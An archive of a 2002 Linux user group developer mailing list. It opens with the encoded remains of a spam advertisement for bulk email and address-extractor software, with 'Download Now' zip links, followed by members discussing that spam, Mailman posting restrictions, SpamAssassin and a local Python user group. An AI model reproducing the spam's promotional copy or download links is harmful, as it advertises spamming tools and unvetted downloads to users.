=3C=2FLI=3E=3C=2FUL=3E =3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feead=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Maillist Manager=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT size=3D2=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3EThis program was designed to be a complement to the =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EDirect Email Blaster =3B =3C=2FFONT=3E=3CFONT color=3Dblack size=3D3=3Eand =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EEmail Blaster =3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Esuite of bulk email software programs=2E Its purpose is to organize your email lists in order to be more =3B=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Eeffective with your email marketing campaign=2E Some of its features include=3A=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial=3E=3CFONT size=3D3=3E‿=3BCombine several lists into one file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BSplit up larger lists to make them more manageable=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BRemove addresses from file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BManual editing=2C adding=2C and deleting of addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BAbility to auto clean lists=2C that is=2C remove any duplicate or unwanted addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BMaintain all your address lists within the program so you no =3B longer need to keep all your=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3E =3Blists saved as separate text files=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemm=5Fset=2Ezip=22=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E =3CP=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E=3C=2FP=3E =3CP=3E =3B=3C=2FP=3E =3CDIV=3E=3CFONT face=3DArial=3Eif you want to remove your email=2C please send email to =3CA href=3D=22mailto=3Atargetemailremoval=40btamail=2Enet=2Ecn=22=3Etargetemailremoval=40btamail=2Enet=2Ecn=3C=2FA=3E=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E =3CDIV=3E =3B=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FDIV=3E From johndavi@us.ibm.com Fri Jul 19 08:58:41 2002 Return-Path: Delivered-To: dev@trilug.org Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by fatalpha.trilug.org (Postfix) with ESMTP id CC429E5DD for ; Fri, 19 Jul 2002 08:58:41 -0400 (EDT) Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e2.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g6JCwee8154262 for ; Fri, 19 Jul 2002 08:58:40 -0400 Received: from d03nm113.boulder.ibm.com (avpilot.boulder.ibm.com [9.17.203.135]) by northrelay01.pok.ibm.com (8.11.1m3/NCO/VER6.2) with ESMTP id g6JCwbQ26212 for ; Fri, 19 Jul 2002 08:58:38 -0400 Importance: Normal Sensitivity: Subject: Re: [Dev] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Fri, 19 Jul 2002 08:57:56 -0400 X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 5.0.10 |March 22, 2002) at 07/19/2002 06:58:39 AM MIME-Version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: base64 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: DQpIZWxsbw0KDQpBbHJpZ2h0ISAgT3VyIGZpcnN0IHNwYW0uICBOb3cgd2UgYXJlIGFuIG9mZmlj aWFsIGxpc3QuICBNYXliZSB3ZSBjYW4gZ2V0DQo1MCBnaXppbGxpb24gIkl0YWx5IE1pbnV0ZXMg YW5kIE5pZ2VyaWFuIE1vbmV5IE1hY2hpbmUiIG1haWxzIGxpa2UgdGhlDQpkZWJpYW4gbGlzdHMu DQoNCk9oIGpveSwNCg0KSkQNCg0KdGFyZ2V0ZW1haWxleHRyYWN0b3JAYnRhbWFpbC5uZXQuY25A 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dmUgeW91ciBlbWFpbCwgcGxlYXNlIHNlbmQgZW1haWwgdG8NCnRhcmdldGVtYWlscmVtb3ZhbEBi dGFtYWlsLm5ldC5jbg0KDQoNCg0KDQoNCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fIERldiBtYWlsaW5nIGxpc3QNCkRldkB0cmlsdWcub3JnIGh0dHA6Ly93 d3cudHJpbHVnLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2Rldg0KDQoNCg== From mike@enoch.org Fri Jul 19 09:18:34 2002 Return-Path: Delivered-To: dev@trilug.org Received: from fiend.enoch.org (fiend.nwo.net [24.199.150.77]) by fatalpha.trilug.org (Postfix) with ESMTP id 9BAECE5DD for ; Fri, 19 Jul 2002 09:18:34 -0400 (EDT) Received: by fiend.enoch.org (Postfix, from userid 1000) id 5EE21837; Fri, 19 Jul 2002 09:26:28 -0400 (EDT) Date: Fri, 19 Jul 2002 09:26:28 -0400 From: Mike Johnson To: dev@trilug.org Subject: Re: [Dev] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... Message-ID: <20020719132628.GK21226@enoch.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="xShVoZav8KYWC5Dk" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --xShVoZav8KYWC5Dk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable John F Davis [johndavi@us.ibm.com] wrote: >=20 > Hello >=20 > Alright! Our first spam. Now we are an official list. Maybe we can get > 50 gizillion "Italy Minutes and Nigerian Money Machine" mails like the > debian lists. *sigh* Sorry about that. This list wasn't set up like the main TriLUG list that only allowed list members to post. It's fixed now.=20 In case anyone was wondering, this has worked great for keeping spam off the main list. Mike --=20 "Let the power of Ponch compel you! Let the power of Ponch compel you!" -- Zorak on Space Ghost GNUPG Key fingerprint =3D ACD2 2F2F C151 FB35 B3AF C821 89C4 DF9A 5DDD 95D1 GNUPG Key =3D http://www.enoch.org/mike/mike.pubkey.asc --xShVoZav8KYWC5Dk Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (OpenBSD) Comment: For info see http://www.gnupg.org iD8DBQE9OBODicTfml3dldERAkggAKCF7XISQfpE6K4olXje/i244U8twwCfRrwB 3OV4KzfXttLJdx7Ocu9fMeU= =q4Jk -----END PGP SIGNATURE----- --xShVoZav8KYWC5Dk-- From jmm@xanex.hippierage.org Fri Jul 19 09:22:31 2002 Return-Path: Delivered-To: dev@trilug.org Received: from xanex.hippierage.org (webmail.hippierage.org [137.118.8.13]) by fatalpha.trilug.org (Postfix) with ESMTP id 22E6DE5DD for ; Fri, 19 Jul 2002 09:22:31 -0400 (EDT) Received: (from jmm@localhost) by xanex.hippierage.org (8.9.3/8.9.3) id JAA14479 for dev@trilug.org; Fri, 19 Jul 2002 09:22:30 -0400 Date: Fri, 19 Jul 2002 09:22:30 -0400 From: James Manning To: dev@trilug.org Message-ID: <20020719092229.X7316@xanex.hippierage.org> Mail-Followup-To: James Manning , dev@trilug.org References: <20020719132628.GK21226@enoch.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020719132628.GK21226@enoch.org>; from mike@enoch.org on Fri, Jul 19, 2002 at 09:26:28AM -0400 Subject: [Dev] Re: ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [Mike Johnson] > *sigh* Sorry about that. This list wasn't set up like the main TriLUG > list that only allowed list members to post. It's fixed now. > > In case anyone was wondering, this has worked great for keeping spam off > the main list. anyone know how to configure mailman so that it's members-only posting *and* attempts by non-members are just ignored? I hate getting notified by sf.net that I need to check some postings held for approval because of posting by non-members (always spam) - I'd much rather have it automatically discarded, but I don't see where in the config options for the list (mailman ver 2.0.9-sf.net) Thanks! James -- James Manning GPG Key fingerprint = B913 2FBD 14A9 CE18 B2B7 9C8E A0BF B026 EEBB F6E4 From mmueller@ss7box.com Fri Jul 19 09:57:54 2002 Return-Path: Delivered-To: dev@trilug.org Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by fatalpha.trilug.org (Postfix) with ESMTP id 33855E5DD for ; Fri, 19 Jul 2002 09:57:54 -0400 (EDT) Received: from user-uivf36g.dsl.mindspring.com ([165.247.140.208] helo=there) by hall.mail.mindspring.net with smtp (Exim 3.33 #1) id 17VYGW-000005-00 for dev@trilug.org; Fri, 19 Jul 2002 09:57:52 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller To: dev@trilug.org Subject: Re: [Dev] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... Date: Fri, 19 Jul 2002 09:51:14 -0400 X-Mailer: KMail [version 1.3.1] References: <20020719132628.GK21226@enoch.org> In-Reply-To: <20020719132628.GK21226@enoch.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: There is a significant signal-to-noise ratio diff. between trilug and debian. Is it because of the member only requirement? On Friday 19 July 2002 09:26, Mike Johnson reputedly wrote: > John F Davis [johndavi@us.ibm.com] wrote: > > Hello > > > > Alright! Our first spam. Now we are an official list. Maybe we can get > > 50 gizillion "Italy Minutes and Nigerian Money Machine" mails like the > > debian lists. > > *sigh* Sorry about that. This list wasn't set up like the main TriLUG > list that only allowed list members to post. It's fixed now. > > In case anyone was wondering, this has worked great for keeping spam off > the main list. > > Mike -- Mike Mueller www.ss7box.com From mike@enoch.org Fri Jul 19 10:03:04 2002 Return-Path: Delivered-To: dev@trilug.org Received: from fiend.enoch.org (fiend.nwo.net [24.199.150.77]) by fatalpha.trilug.org (Postfix) with ESMTP id 51326E5DD for ; Fri, 19 Jul 2002 10:03:04 -0400 (EDT) Received: by fiend.enoch.org (Postfix, from userid 1000) id 6F73E837; Fri, 19 Jul 2002 10:10:58 -0400 (EDT) Date: Fri, 19 Jul 2002 10:10:58 -0400 From: Mike Johnson To: dev@trilug.org Subject: Re: [Dev] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... Message-ID: <20020719141058.GL21226@enoch.org> References: <20020719132628.GK21226@enoch.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SbbROFN+SMqu6LKU" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --SbbROFN+SMqu6LKU Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Michael Mueller [mmueller@ss7box.com] wrote: > There is a significant signal-to-noise ratio diff. between trilug and deb= ian.=20 > Is it because of the member only requirement? We probably kick, on average, one spam a day due to the requirement. I imagine that debian lists are a bit higher profile (posted on more web pages), so they get harvested more. The steering list probably gets a bit more spam than the main list (and we have to allow non-members to post). Mike --=20 "Let the power of Ponch compel you! Let the power of Ponch compel you!" -- Zorak on Space Ghost GNUPG Key fingerprint =3D ACD2 2F2F C151 FB35 B3AF C821 89C4 DF9A 5DDD 95D1 GNUPG Key =3D http://www.enoch.org/mike/mike.pubkey.asc --SbbROFN+SMqu6LKU Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (OpenBSD) Comment: For info see http://www.gnupg.org iD8DBQE9OB3xicTfml3dldERAteBAJoCoR5M1gzBqi8LiLo6i6TSNwZRtwCg6yfJ cWkI3Q/B8JEM0oQFwLYTbIE= =h9dR -----END PGP SIGNATURE----- --SbbROFN+SMqu6LKU-- From jonc@haht.com Fri Jul 19 10:26:24 2002 Return-Path: Delivered-To: dev@trilug.org Received: from mercury.srvr.haht.com (firewall.haht.com [216.54.164.3]) by fatalpha.trilug.org (Postfix) with ESMTP id 5ADA7E5F3 for ; Fri, 19 Jul 2002 10:26:24 -0400 (EDT) Received: from salsa.haht.com (salsa.haht.com [216.54.164.5]) by mercury.srvr.haht.com (8.9.3/8.9.3) with ESMTP id KAA29531 for ; Fri, 19 Jul 2002 10:26:13 -0400 Received: from JCARNES (barrier.haht.com [216.54.164.15]) by salsa.haht.com (8.11.6/8.11.6) with SMTP id g6JEQNH12256 for ; Fri, 19 Jul 2002 10:26:23 -0400 From: "Jon Carnes" To: Subject: RE: [Dev] Re: ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... Date: Fri, 19 Jul 2002 10:27:19 -0400 Message-ID: <000401c22f30$6487c3f0$0b04010a@JCARNES> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20020719092229.X7316@xanex.hippierage.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: That's a feature in the new beta, but there is a workaround for folks using the current versions: http://www.python.org/cgi-bin/faqw-mm.py?req=show&file=faq01.012.htp -----Original Message----- From: dev-admin@trilug.org [mailto:dev-admin@trilug.org]On Behalf Of James Manning Sent: Friday, July 19, 2002 9:23 AM To: dev@trilug.org Subject: [Dev] Re: ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... [Mike Johnson] > *sigh* Sorry about that. This list wasn't set up like the main TriLUG > list that only allowed list members to post. It's fixed now. > > In case anyone was wondering, this has worked great for keeping spam off > the main list. anyone know how to configure mailman so that it's members-only posting *and* attempts by non-members are just ignored? I hate getting notified by sf.net that I need to check some postings held for approval because of posting by non-members (always spam) - I'd much rather have it automatically discarded, but I don't see where in the config options for the list (mailman ver 2.0.9-sf.net) Thanks! James -- James Manning GPG Key fingerprint = B913 2FBD 14A9 CE18 B2B7 9C8E A0BF B026 EEBB F6E4 _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From john@radiomind.com Fri Jul 19 10:53:31 2002 Return-Path: Delivered-To: dev@trilug.org Received: from jbeimler (london-bridge.east.veritas.com [207.30.27.2]) by fatalpha.trilug.org (Postfix) with ESMTP id 68B14E5DD for ; Fri, 19 Jul 2002 10:53:31 -0400 (EDT) Received: by jbeimler (Postfix, from userid 1000) id E54391C579; Fri, 19 Jul 2002 10:52:39 -0400 (EDT) Subject: RE: [Dev] Re: ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... From: John Beimler To: dev@trilug.org In-Reply-To: <000401c22f30$6487c3f0$0b04010a@JCARNES> References: <000401c22f30$6487c3f0$0b04010a@JCARNES> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7 Date: 19 Jul 2002 10:52:38 -0400 Message-Id: <1027090358.5440.3.camel@jbeimler> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I didn't even see this. Thank goodness for SpamAssasin. And you can plug it into mailman if you like: http://mail.python.org/pipermail-21/mailman-developers/2002-March/011381.html Peace. john On Fri, 2002-07-19 at 10:27, Jon Carnes wrote: > That's a feature in the new beta, but there is a workaround for folks using > the current versions: > > http://www.python.org/cgi-bin/faqw-mm.py?req=show&file=faq01.012.htp > > -----Original Message----- > From: dev-admin@trilug.org [mailto:dev-admin@trilug.org]On Behalf Of > James Manning > Sent: Friday, July 19, 2002 9:23 AM > To: dev@trilug.org > Subject: [Dev] Re: ADV: Direct email blaster, email addresses extractor, > maillist verify, maillist manager........... > > > [Mike Johnson] > > *sigh* Sorry about that. This list wasn't set up like the main TriLUG > > list that only allowed list members to post. It's fixed now. > > > > In case anyone was wondering, this has worked great for keeping spam off > > the main list. > > anyone know how to configure mailman so that it's members-only posting > *and* attempts by non-members are just ignored? I hate getting notified > by sf.net that I need to check some postings held for approval because > of posting by non-members (always spam) - I'd much rather have it > automatically discarded, but I don't see where in the config options > for the list (mailman ver 2.0.9-sf.net) > > Thanks! > > James > -- > James Manning > GPG Key fingerprint = B913 2FBD 14A9 CE18 B2B7 9C8E A0BF B026 EEBB F6E4 > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From lovelace@wayfarer.org Fri Jul 19 11:43:22 2002 Return-Path: Delivered-To: dev@trilug.org Received: from maddux.wayfarer.org (rrcs-midsouth-24-172-56-10.biz.rr.com [24.172.56.10]) by fatalpha.trilug.org (Postfix) with SMTP id 5C6D7E5E9 for ; Fri, 19 Jul 2002 11:43:21 -0400 (EDT) Received: (qmail 16736 invoked by uid 401); 19 Jul 2002 14:35:31 -0000 Received: from localhost (HELO dhcp-213.internal.opennms.org) (lovelace@127.0.0.1) by localhost with SMTP; 19 Jul 2002 14:35:31 -0000 Subject: Re: [Dev] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <20020719132628.GK21226@enoch.org> References: <20020719132628.GK21226@enoch.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5-1mdk Date: 19 Jul 2002 11:43:16 -0400 Message-Id: <1027093399.5374.10.camel@tigger> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Fri, 2002-07-19 at 09:26, Mike Johnson wrote: > In case anyone was wondering, this has worked great for keeping spam off > the main list. Actually, I didn't even see the first spam. Why? Because I'm running spamassassin and using procmail to separate out any spam that comes in. If you run your own mailserver on linux, I can highly recommend spamassassin. Tanner -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- This would be a very good time to hang out with the Open Source people, before they get formally reclassified as a national security threat. -- Bruce Sterling From jeremyp@pobox.com Fri Jul 19 12:02:11 2002 Return-Path: Delivered-To: dev@trilug.org Received: from nina.pagesz.net (nina.pagesz.net [208.194.157.3]) by fatalpha.trilug.org (Postfix) with ESMTP id 47537E5E9 for ; Fri, 19 Jul 2002 12:02:11 -0400 (EDT) Received: from localhost (jeremy@localhost) by nina.pagesz.net (8.11.0/8.11.0) with ESMTP id g6JG3Re03235 for ; Fri, 19 Jul 2002 12:03:28 -0400 X-Authentication-Warning: nina.pagesz.net: jeremy owned process doing -bs Date: Fri, 19 Jul 2002 12:03:24 -0400 (EDT) From: Jeremy Portzer X-Sender: jeremy@nina.pagesz.net To: dev@trilug.org Subject: Re: [Dev] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... In-Reply-To: <1027093399.5374.10.camel@tigger> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On 19 Jul 2002, Tanner Lovelace wrote: > On Fri, 2002-07-19 at 09:26, Mike Johnson wrote: > > In case anyone was wondering, this has worked great for keeping spam off > > the main list. > > Actually, I didn't even see the first spam. Why? Because I'm > running spamassassin and using procmail to separate out any > spam that comes in. If you run your own mailserver on linux, > I can highly recommend spamassassin. I never saw the first spam and I'm not running *any* spam protection on this account. Hmm... I wonder if my ISP is using a blacklist provider? It would seem that relaying it through the Dev@ list would get around the blacklist, though. --Jeremy From tbryan@python.net Thu Jul 25 23:02:27 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp2.southeast.rr.com (smtp2.southeast.rr.com [24.93.67.83]) by fatalpha.trilug.org (Postfix) with ESMTP id 8A482E5DD for ; Thu, 25 Jul 2002 23:02:27 -0400 (EDT) Received: from mail5.nc.rr.com (fe5 [24.93.67.52]) by smtp2.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g6Q33Vtw003773 for ; Thu, 25 Jul 2002 23:03:32 -0400 (EDT) Received: from fezzik ([66.26.95.64]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 25 Jul 2002 23:02:26 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Date: Thu, 25 Jul 2002 23:27:34 +0500 User-Agent: KMail/1.4.1 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200207252327.34849.tbryan@python.net> Subject: [Dev] Triangle Zope/Python User Group Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 24 July 2002 10:38 am, Mike Mueller wrote: > When I faced the decision of learning Perl vs Python, I choose Python. Two > factors swayed me: Let me add a third, in case you missed the announcement on the main list: Geoff Davis and I are trying to start a Zope/Python User Group in the Research Triangle area of North Carolina. At the moment, we'd like to keep things very informal. Just a bunch of Pythonistas meeting once a month to share knowledge and listen to someone give a presentation on some aspect of using/hacking/learning Python, Jython, or Zope. Even if you don't currently know Python, consider attending. What better way to hook up with local Python users find people to answer your questions about Python? The direction the group takes and the topics that are presented will depend heavily on the interest of those who will actually be attending. If you're interested in attending, go to http://dev.zope.org/Members/tbryan/TriZPUG/FrontPage In a couple of weeks, we'll be contacting everyone who adds his or her name to the list to organize a first meeting, which will probably include a presentation from Geoff on using CMF with Zope. If anyone knows of any other forums where Triangle Python hackers might hang out, please drop me a line. Thanks, ---Tom From mindcrime@cpphacker.co.uk Wed Aug 7 00:31:43 2002 Return-Path: Delivered-To: dev@trilug.org Received: from host6.imagelinkusa.net (host6.imagelinkusa.net [66.197.175.185]) by fatalpha.trilug.org (Postfix) with ESMTP id 16E2EE66D for ; Wed, 7 Aug 2002 00:31:43 -0400 (EDT) Received: from rdu26-82-135.nc.rr.com ([66.26.82.135] helo=calliope) by host6.imagelinkusa.net with smtp (Exim 3.35 #1) id 17cITj-000201-00 for dev@trilug.org; Wed, 07 Aug 2002 00:31:23 -0400 Message-ID: <002b01c23dcb$b5aa2f80$de01a8c0@calliope> From: "Phillip Rhodes" To: "Tri-LUG Dev" Date: Wed, 7 Aug 2002 00:34:22 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - host6.imagelinkusa.net X-AntiAbuse: Original Domain - trilug.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [0 0] X-AntiAbuse: Sender Address Domain - cpphacker.co.uk Subject: [Dev] Anybody Listening? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: So, does anybody post here anymore? Tanner, got anymore good "Stupid STL Tricks" or anything good for us? Too bad our Design Patterns reading group kinda fell apart... maybe we could resume some discussion of patterns here on the list, and not necessarily worry about meeting in person, or something... TTYL, Phil The ones who never give up, don't die - Langley From tbryan@python.net Wed Aug 7 05:54:36 2002 Return-Path: Delivered-To: dev@trilug.org Received: from smtp2.southeast.rr.com (smtp2.southeast.rr.com [24.93.67.83]) by fatalpha.trilug.org (Postfix) with ESMTP id 0778DE605 for ; Wed, 7 Aug 2002 05:54:36 -0400 (EDT) Received: from mail7.nc.rr.com (fe7 [24.93.67.54]) by smtp2.southeast.rr.com (8.12.5/8.12.2) with ESMTP id g779tWts019887 for ; Wed, 7 Aug 2002 05:55:32 -0400 (EDT) Received: from fezzik ([66.26.95.64]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 7 Aug 2002 05:54:33 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Anybody Listening? Date: Wed, 7 Aug 2002 06:20:28 +0500 User-Agent: KMail/1.4.1 References: <002b01c23dcb$b5aa2f80$de01a8c0@calliope> In-Reply-To: <002b01c23dcb$b5aa2f80$de01a8c0@calliope> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200208070620.28111.tbryan@python.net> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 07 August 2002 09:34 am, Phillip Rhodes wrote: > So, does anybody post here anymore? Yes. My last post was the announcement of the Zope/Python User Group formation two weeks ago. > Tanner, got anymore good "Stupid STL Tricks" or anything good for us? Most of my playing at home is with Python or Perl. Most of my work is Java or C. Not sure what sort of goodness I can post related to any of that...unless I dig up some old stuff where I was dumping portions of KSpread documents (parsing the XML directly). > Too bad our Design Patterns reading group kinda fell apart... That's too bad. What happened? I was interested but couldn't make the time slot. If you try it again, I'm still interested. > maybe we could resume some discussion of patterns here on the list, > and not necessarily worry about meeting in person, or something... If the discussion moves to the list, I can probably participate, but it will probably takes days just to discuss each pattern that way. Should we give it a try? ---Tom From tbryan@python.net Wed Aug 7 05:56:08 2002 